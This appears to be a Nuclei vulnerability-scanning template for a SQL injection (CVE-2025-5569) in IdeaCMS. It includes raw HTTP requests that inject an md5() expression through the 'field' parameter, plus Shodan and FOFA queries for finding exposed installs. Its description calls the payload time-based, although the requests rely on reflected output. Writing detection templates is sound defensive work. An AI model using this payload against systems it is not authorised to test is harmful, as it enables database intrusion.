id: CVE-2025-5569

info:
  name: IdeaCMS <= 1.7 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.
  reference:
    - https://gitee.com/ideacms/ideacms/issues/ICBVWE#note_42016626_link
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5569
  classification:
    epss-score: 0.00276
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-5569
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    product: IdeaCMS
    shodan-query: http.favicon.hash:-1033616879
    fofa-query: icon_hash:"-1033616879"
  tags: cve,cve2025,ideacms,sqli

variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /api/v1.index.article/getList.html?field=id,md5({{num}})&size=1&cat=3&time_stamp=1781864476 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /api/v1.index.goods/getList.html?field=id,md5({{num}})&activity_type=hot&time_stamp=1781864476 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'
          - 'id":1'
          - 'data":'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220530b6fb04c3a6606289745f20090ca21d9fe19252d1b74d99bf9117c22fe4d1902201f8e52332176cb73434c34e72a5189ae0e2cb3940b94b7d626e4b979b7f2dcfa:922c64590222798bb761d5b6d8e72950